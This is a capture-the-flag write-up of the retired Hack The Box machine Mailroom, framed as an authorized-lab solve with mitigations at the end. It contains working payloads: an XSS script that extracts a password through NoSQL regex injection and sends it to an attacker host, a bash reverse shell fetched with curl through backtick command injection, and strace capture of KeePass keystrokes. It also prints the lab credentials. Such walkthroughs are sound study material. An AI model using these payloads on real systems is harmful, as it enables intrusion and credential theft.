root@kali:~$ cat hackthebox/machines/mailroom.md
Hack The Box — Mailroom
A practical Mailroom walkthrough chaining stored XSS, internal SSRF, MongoDB injection, container command injection, and KeePass keystroke capture.

- Platform
- Hack The Box
- Type
- machine
- Difficulty
- Hard
- Operating system
- Linux
- Solved
- 4 Sept 2026
- Published
- 4 September 2026
Authorized-lab notice: This write-up documents the retired Hack The Box machine Mailroom. The commands and credentials belong only to that isolated lab. Flags, VPN data, session tokens, personal paths and session-specific IP addresses have been removed.
About this write-up
This is a reconstruction of my hands-on solve on 4 September 2026. It follows the order in which I actually worked: network discovery, web and virtual-host enumeration, source review, a stored-XSS callback, several unsuccessful browser payloads, credential recovery, SSH access, a protected internal panel, command injection, a container escape path through reused credentials, and finally the KeePass privilege-escalation route.
The retained terminal evidence confirms the chain through access as matthew, including the first flag location. My initial strace attempts then attached too late or destabilized the short-lived kpcli process. I used the official HTB write-up to verify the intended keystroke-capture technique and the final KeePass-to-root transition. I mark that boundary explicitly rather than presenting it as independently captured output.
The Hack The Box machine page identified Mailroom as a retired Hard Linux machine on the publication date, so this solution is eligible for public release.
Machine information
| Item | Value |
|---|---|
| Machine | Mailroom |
| Platform | Hack The Box |
| Difficulty | Hard |
| Operating system | Linux |
| Released | 15 April 2023 |
| Publication status | Retired — verified 4 September 2026 |
| Target address | <TARGET_IP> — session-specific value removed |
| Attacker address | <ATTACKER_IP> — VPN value removed |
Executive summary
Mailroom begins with only SSH and an Apache website exposed. Virtual-host discovery reveals a public Gitea repository whose PHP source discloses an internal review panel and two important flaws. First, contact messages are rendered without safe output encoding, producing stored XSS in a staff member’s browser. Second, the panel passes structured POST parameters directly into a MongoDB query. JavaScript delivered through the XSS can therefore reach the internal-only application and use a response-length oracle to recover Tristan’s password one character at a time.
The SSH foothold exposes a 2FA link in Tristan’s local mailbox. Port forwarding makes the protected review panel reachable, where a missing backtick in a command filter permits shell command substitution. This produces a www-data shell inside a Docker container. Its Git configuration contains Matthew’s Gitea password, which is reused for the host account. As Matthew, a recurring kpcli process can be traced because it runs under the same UID; capturing its terminal reads reveals the KeePass master password. The database then supplies the final root credential.
Attack path
| Stage | Evidence and result |
|---|---|
| Network discovery | Nmap found SSH on 22/tcp and Apache on 80/tcp |
| Virtual-host discovery | ffuf found git.mailroom.htb |
| Source review | Public Gitea repository exposed the internal panel, unsafe MongoDB query and command construction |
| Stored XSS | A staff browser requested our hosted JavaScript from the target |
| Internal request + NoSQL injection | A synchronous response oracle recovered Tristan’s lab password |
| Host foothold | The recovered password authenticated over SSH as tristan |
| 2FA and tunnelling | Tristan’s mailbox supplied a one-time link for the loopback-only review panel |
| Command injection | Backtick substitution in the inspection feature produced a container shell as www-data |
| Credential reuse | .git/config exposed Matthew’s URL-encoded Gitea password, also valid for su |
| KeePass tracing | The process was observed and tracing was attempted; the successful capture and final root transition are official-write-up-assisted |
Environment setup
I used placeholders below so the write-up does not publish a personal VPN address or an ephemeral HTB target address:
export TARGET_IP='<TARGET_IP>'
export ATTACKER_IP='<ATTACKER_IP>'
After the primary hostname was identified, I added it locally:
echo "$TARGET_IP mailroom.htb" | sudo tee -a /etc/hosts
Initial enumeration
I began with default scripts, service detection and a full TCP port range:
nmap "$TARGET_IP" -T5 -sVC -p-
The useful part of the output was small:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.54 (Debian)
|_http-title: The Mail Room
The mixed Ubuntu SSH and Debian Apache fingerprints suggested that at least part of the web stack might be containerized. With only two exposed services, the web application was the natural first target.
Content discovery
Manual browsing showed a small corporate site with an inquiry form. feroxbuster confirmed the main PHP surface:
feroxbuster -u http://mailroom.htb -x php,txt,html
The scan found pages such as:
/index.php
/about.php
/contact.php
/services.php
I stopped the heavily recursive scan once it began repeating static paths. The contact form was more interesting because it explicitly said that submitted messages would be reviewed.
Virtual-host discovery and Gitea
I fuzzed the Host header and filtered the baseline response size:
ffuf -u http://mailroom.htb/ \
-H 'Host: FUZZ.mailroom.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs <BASELINE_SIZE>
This identified git.mailroom.htb. After adding it to /etc/hosts, the Gitea API exposed a public repository:
echo "$TARGET_IP git.mailroom.htb" | sudo tee -a /etc/hosts
curl -s 'http://git.mailroom.htb/api/v1/repos/search?limit=50' |
jq '.data[] | {repository: .full_name, clone_url: .clone_url}'
{
"repository": "matthew/staffroom",
"clone_url": "http://git.mailroom.htb/matthew/staffroom.git"
}
I cloned the repository and reviewed both the current tree and its history:
git clone http://git.mailroom.htb/matthew/staffroom.git
cd staffroom
git log --oneline --all
rg -n 'Mongo|findOne|shell_exec|staff-review|password|email' .
Two findings shaped the rest of the solve:
auth.phpbuilt a MongoDB query directly from$_POST['email']and$_POST['password'], allowing PHP array notation such aspassword[$regex]to become a query operator.- The source referenced
staff-review-panel.mailroom.htb, an internal panel that returned403 Forbiddenwhen requested directly from my host.
The repository also showed that inquiry content reached staff-facing pages without reliable context-aware output encoding. That connected the public contact form to a stored-XSS opportunity.
Stored XSS confirmation
I first tested a minimal callback rather than immediately running a credential extractor. I started a web server:
python3 -m http.server 8000 --bind 0.0.0.0
Then I placed a small image error handler in the inquiry message:
<img src=x onerror="fetch('http://<ATTACKER_IP>:8000/xss-confirmed')">
The listener received a request from the target:
<TARGET_IP> - - "GET /xss-confirmed HTTP/1.1" 404 -
The 404 was expected because the path was only a beacon. The important result was that a browser on the target executed our JavaScript, confirming stored XSS.
Turning XSS into an internal NoSQL oracle
The attack required three pieces to work together:
- the staff browser could load attacker-controlled JavaScript;
- that browser could reach the otherwise restricted review panel;
auth.phpaccepted MongoDB operators through PHP’s nested parameter syntax.
I hosted exploit.js and submitted an external script tag through the contact form:
<script src="http://<ATTACKER_IP>:8000/exploit.js?v=final"></script>
What did not work
My first scripts targeted Matthew’s email address and used asynchronous fetch() calls. The callbacks proved that the script loaded and the internal endpoint was reachable, but the authentication test stayed false:
GET /v2-script-loaded?... HTTP/1.1
GET /v2-internal-reachable?... HTTP/1.1
GET /v2-response-readable-false?... HTTP/1.1
Later versions only reported that they had started. Two assumptions were wrong:
- The login target was Tristan, not Matthew. Gitea’s public user enumeration exposed both names, but the staff workflow belonged to
tristan@mailroom.htb. - A long asynchronous loop was unreliable inside the short-lived review context. A synchronous request made the response-length oracle deterministic.
Working extractor
The final logic tested progressively longer regular-expression prefixes. The values 130 and 301 were the observed success and failure response lengths for the internal application in the reference flow.
const alphabet =
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#<=>@_';
let password = '';
function matches(prefix) {
const xhr = new XMLHttpRequest();
xhr.open(
'POST',
'http://staff-review-panel.mailroom.htb/auth.php',
false
);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
const body =
'email=' + encodeURIComponent('tristan@mailroom.htb') +
'&password%5B%24regex%5D=' + encodeURIComponent('^' + prefix + '.*');
xhr.send(body);
return xhr.responseText.length === 130;
}
while (true) {
let advanced = false;
for (const candidate of alphabet) {
if (matches(password + candidate)) {
password += candidate;
advanced = true;
break;
}
}
if (!advanced) break;
}
new Image().src =
'http://<ATTACKER_IP>:8000/result?password=' + encodeURIComponent(password);
The oracle recovered the lab-only password:
tristan : 69trisRulez!
This extraction is where the official write-up helped correct my unsuccessful scripts. The subsequent SSH authentication with the recovered value was confirmed in the live session.
Initial foothold as Tristan
ssh tristan@"$TARGET_IP"
After authentication:
id
sudo -l
uid=1000(tristan) gid=1000(tristan) groups=1000(tristan)
Sorry, user tristan may not run sudo on mailroom.
Tristan could list Matthew’s home directory but could not read the first flag:
/home/matthew/
├── personal.kdbx
└── user.txt [permission denied]
This ruled out a direct sudo route and pointed back to application-specific artifacts.
Mailbox, 2FA and the internal panel
Local mail enumeration revealed a 2FA message for the staff review panel:
sed -n '1,220p' /var/mail/tristan
The token is intentionally removed from this write-up. To reach the loopback-only virtual host safely, I forwarded the target’s port 80 to local port 8080:
ssh -L 127.0.0.1:8080:127.0.0.1:80 tristan@"$TARGET_IP"
I temporarily resolved the staff hostname to the tunnel endpoint:
127.0.0.1 staff-review-panel.mailroom.htb
The 2FA link then opened:
http://staff-review-panel.mailroom.htb:8080/<REDACTED_2FA_PATH>
The authenticated dashboard greeted tristan and exposed an Inspect feature for reviewing inquiries.
Command injection in the inspection tool
Source review showed that the inspection page passed a user-controlled value into shell_exec(). It tried to reject shell metacharacters, but the denylist omitted the backtick. In a shell command, backticks perform command substitution, so a value that passed validation could still execute an embedded command.
I prepared a reverse-shell script on Kali:
#!/usr/bin/env bash
bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/10001 0>&1'
Then I served it and started a listener:
python3 -m http.server 8000 --bind 0.0.0.0
rlwrap nc -lvnp 10001
Through the Inspect input, I used backtick substitution first to download the script and then to execute it:
http://127.0.0.1/`curl http://<ATTACKER_IP>:8000/shell.sh -o /tmp/shell.sh`
http://127.0.0.1/`bash /tmp/shell.sh`
The listener received a shell:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname: <CONTAINER_ID>
cwd: /var/www/staffroom
The hostname and Debian web fingerprint confirmed the earlier suspicion: this shell was inside the staffroom Docker container, not directly on the host.
Container enumeration and credential recovery
The application directory included its Git metadata:
cd /var/www/staffroom
ls -la
cat .git/config
The remote URL embedded a username and a URL-encoded password:
[remote "origin"]
url = http://matthew:HueLover83%23@gitea:3000/matthew/staffroom.git
%23 decodes to #, giving the lab credential:
matthew : HueLover83#
This was not a container escape in the kernel-exploitation sense. It was a trust-boundary failure: source-control credentials were stored in a deployed checkout and the same password was valid for a host account.
Lateral movement to Matthew
Back in Tristan’s host shell, the recovered password worked with su:
su - matthew
The transition succeeded, and Matthew could read /home/matthew/user.txt. The flag value is intentionally omitted.
Local enumeration showed:
ls -la ~
sudo -l
personal.kdbx
personal.kdbx.lock
.kpcli-history -> /dev/null
Sorry, user matthew may not run sudo on mailroom.
The lock file indicated that the KeePass database was being opened, while the history symlink prevented easy command-history recovery. Process monitoring revealed recurring kpcli execution under Matthew’s UID.
Privilege escalation through KeePass keystroke capture
Linux normally permits a process to trace another process with the same effective user, subject to the system’s ptrace policy. Because we controlled Matthew’s account and kpcli also ran as Matthew, strace could observe the program’s reads from standard input.
Failed capture attempts
My first loop found a kpcli PID and attached successfully, but it did so after the master password had already been entered:
strace -f -s 256 -e trace=read,write -p "$pid" 2>&1 |
tee /tmp/kpcli.strace
Filtering for read(0, ...) returned nothing. A more aggressive retry used -f against the short-lived process and repeatedly produced:
Trace/breakpoint trap (core dumped)
A later attachment captured Perl module initialization and the kpcli:/> prompt, but again missed the password bytes. These failures mattered: attaching after initialization or tracing child behavior indiscriminately was not enough. The watcher needed to catch a fresh process early and focus on file descriptor 0.
Intended capture method — official-write-up-assisted
The official route attaches without -f while a fresh kpcli process is accepting input and limits the trace to reads and writes:
strace -p "$(pgrep kpcli)" -e write -e read 2>&1 | tee output.txt
The useful string can be reduced from the trace with the same parsing pipeline I had already tried against my late capture:
awk -F ',' '{print $2}' output.txt |
grep -v 0x |
tr -d '" ' |
paste -sd ''
The master password is entered one character at a time. The official capture also included an octal \\10 backspace after a mistyped 1, so the stream must be reconstructed as terminal input rather than blindly concatenated. The resulting retired-lab KeePass password is:
!sECUr3p4$$w0rd9
The database can then be opened interactively:
kpcli --kdb ~/personal.kdbx
Inside kpcli, listing the database and displaying the privileged entry reveals the lab-only root password:
a$gBa3!GA8
The final transition is:
su -
id
The expected result is UID 0 and access to /root/root.txt. The root flag is omitted. This last password-capture and root-login sequence is reconstructed from the supplied official write-up; the retained live transcript does not contain an independently confirmed root shell, so I do not label it as one.
Completion status
| Milestone | Status |
|---|---|
| Stored XSS execution | Executed and confirmed |
| Internal panel reachability | Executed and confirmed |
| Early asynchronous extractor variants | Executed but unsuccessful |
| Tristan credential extraction | Official-write-up-assisted; SSH use confirmed |
| SSH as Tristan | Executed and confirmed |
| Staff panel access through 2FA and forwarding | Executed and confirmed |
Container shell as www-data |
Executed and confirmed |
| Git credential recovery | Executed and confirmed |
| Lateral movement to Matthew | Executed and confirmed |
| User flag access | Confirmed; value removed |
kpcli discovery and tracing attempts |
Executed and confirmed |
| Successful keystroke reconstruction and root login | Reconstructed from the official write-up; not independently captured in the retained transcript |
Key takeaways
- Public source code can expose both hidden attack surface and the exact data flow needed to exploit it.
- Stored XSS becomes much more serious when a privileged reviewer can reach services that external attackers cannot.
- Blind NoSQL injection needs only a stable boolean signal. Response length was enough to recover a password prefix by prefix.
- Denylists are fragile for shell safety. Missing a single metacharacter — here, the backtick — restored arbitrary command execution.
- Secrets in
.git/configare deployment secrets, even if they appear only inside a remote URL. - Password reuse converted a container compromise into a host-user compromise.
- Same-user process tracing can expose secrets typed into terminal applications. Short-lived processes require careful timing and narrow tracing.
- Failed exploit versions are useful evidence: they reveal incorrect identity assumptions, browser-lifecycle constraints and race conditions.
Mitigations
| Weakness | Defensive action |
|---|---|
| Stored XSS in inquiries | Apply context-aware output encoding, sanitize permitted markup and deploy a restrictive Content Security Policy |
| Privileged browser can reach internal services | Separate review workloads, restrict browser egress and avoid using privileged users for untrusted-content rendering |
| MongoDB operator injection | Enforce scalar request schemas, reject unexpected arrays/operators and build explicit typed queries |
| Response oracle | Return uniform authentication responses and rate-limit repeated failures |
| Shell command injection | Avoid shell invocation; use a native HTTP client with strict URL parsing and an explicit allowlist |
| Credentials in Git remote | Use scoped deploy credentials outside the working tree and rotate exposed secrets |
| Password reuse | Require unique credentials across Gitea, containers and host accounts |
Same-user ptrace exposure |
Reduce unnecessary scheduled secret entry, harden ptrace_scope, and isolate automation identities |
| Privileged password in KeePass | Prefer non-interactive secret management with least-privilege access and auditable retrieval |
Tools used
- Nmap — TCP discovery, default scripts and service/version detection
- curl and jq — HTTP validation and Gitea API enumeration
- Feroxbuster — initial PHP content discovery
- ffuf — virtual-host discovery
- Git and ripgrep — repository history and source-code review
- JavaScript — stored-XSS payload and MongoDB response oracle
- Python HTTP server — hosted the browser payload and reverse-shell script
- Netcat — received the container reverse shell
- SSH — host access and local port forwarding
- strace — observed same-user
kpcliinput reads - kpcli — opened and inspected the KeePass database
References
- Hack The Box — Mailroom
- OWASP Cross Site Scripting Prevention Cheat Sheet
- OWASP Server-Side Request Forgery Prevention Cheat Sheet
- MongoDB
$regexquery operator - PHP manual —
shell_exec - strace manual
- KeePassXC documentation — KeePass database format compatibility
Return to the Hack The Box write-ups archive.